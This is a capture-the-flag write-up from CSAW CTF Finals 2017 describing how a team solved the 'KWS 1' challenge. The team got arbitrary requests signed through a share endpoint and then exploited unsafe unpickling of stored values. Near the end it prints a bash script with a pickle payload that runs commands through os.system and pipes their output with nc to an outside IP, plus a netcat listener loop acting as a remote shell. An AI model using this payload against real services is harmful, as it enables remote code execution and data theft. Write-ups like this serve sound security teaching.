CSAW CTF Finals 2017 – KWS 1 Writeup

Introduction

I recently had the opportunity to compete in the CSAW CTF Finals with the UMBC Cyber Dawgs. It was an amazing competition; the organizers were awesome and did a great job. We placed 7th in North America, by the way :)

If you’ve never heard of CSAW before, it’s a huge student-run security conference/competition. We played in the CTF, or capture-the-flag competition. I would consider one of the best undergraduate-level CTF competitions. CSAW CTF is a jeopardy style competition in which you have a board of challenges, and you get points for solving them. You solve the challenge by hacking at it until it gives you a flag of the form flag{th1s_i5_a_f1@g}, which you enter into the scoreboard to receive points. Team with the most points wins.

I’ll be publishing a couple writeups about how we solved some of the challenges; this is the first one.

Challenge

We developed a much better alternative to AWS. Our high-performance kernel
driver gives us unparalleled speed of execution. And we're super-secure!

http://web.chal.csaw.io:6001/

NOTE: Login with your CTFd credentials.

NOTE: This might take a minute to start up the first time you login. Please be
patient!

NOTE: There may be ways to poke at other teams' boxes. Don't do that, it is not
part of the challenge.

NOTE: If you have issues with your instance, try logging out of the KWS
interface, and logging back in.

NOTE: Sorry for all of the notes :P

Author: itszn, Ret2 Systems

Solution

We begin by visiting the provided URL and we’re greeted with a dashboard. We have 1 KWS "instance" (lol), and we have the ability to store new JSON objects by name. So we have a key-value store of some sort.

We do some inspection of traffic (I use the Firefox DevTools), and we can see some requests to the API, and we see some requests to http://some.ip.ip.ip/action. We notice they are all POST requests, and they have a JSON payload of the form GET.json.test.Jl16yRXjeacpiZGr8eQJzQyqXHU. There are also other commands, such as LIST, STORE, and DELETE, that all seem to have a similar signature or something at the end.

We notice a reference to "itsdangerous", which we quickly google and find out it’s an HMAC library. So assuming there are no bugs there, we’re not going to be able to forge signatures. This would seem to rule out tampering with the datastore commands.

However, we notice something interesting about the share endpoint. Signed requests we get back are of the form thing.UMBC Cyber Dawgs.gDnKh62RvHSzZJc9-WuGoz1ALls, where thing is the name of the stored item, and UMBC Cyber Dawgs is our username. So we notice that we can get whatever requests signed that we want, by choosing the name appropriately, with the condition that there is a required suffix of .TEAMNAME.

We were given a signed request for "LIST", so as an exercise, I tried to forge a similar request. I created an item called "LIST", and called the share endpoint. I received the signed request LIST.UMBC Cyber Dawgs.gDnKh62RvHSzZJc9-WuGoz1ALls, which worked the same as the original. Hm, so the suffix doesn’t seem to be checked. I next tried a similar attack with "HELP", but no help command was implemented.

We then goofed around with the other endpoints, until we got a weird error. My teammate Chris did some searching to realize that for some reason, the server was unpickling everything you STORE. We looked up the well known exploit that applies to programs that unpickle untrusted values. I was able to echo hello back to my netcat listener. From there, I wrote the following (awful) script that amounted to a shell:

#!/bin/bash

CMD="$1"

THESTRING=$(curl -H "Content-Type: application/json" -X POST -b 'session=STUFF.GOES.HERE' --data "{\"name\":\"STORE.sendmestuff.cposix\nsystem\np0\n(S'${CMD} | nc 216.165.14.222 1338'\np1\ntp2\nRp3\n.\"}" http://web.chal.csaw.io:6001/api/share | head -2 | tail -1 | cut -d'"' -f4)

echo "$THESTRING"

curl -X POST -H "Content-Type: application/json" -i --data "{\"action\":\"${THESTRING}\"}" http://128.238.62.99:6002/action

If you save this as shell.sh, start a netcat listener with while true; do nc -lvp 1338; done, and run the script with while read cmd; do ./shell.sh "$cmd"; done, it approximates a shell.

At this point, we found the flag in a flag file and we’re done.

(We later added an SSH key and logged in like normal people, when we finally got tired of using this contraption.)

We poke around and eventually realize that they were in fact storing the data in a kernel module, giving rise to KWS 2, a pwn challenge.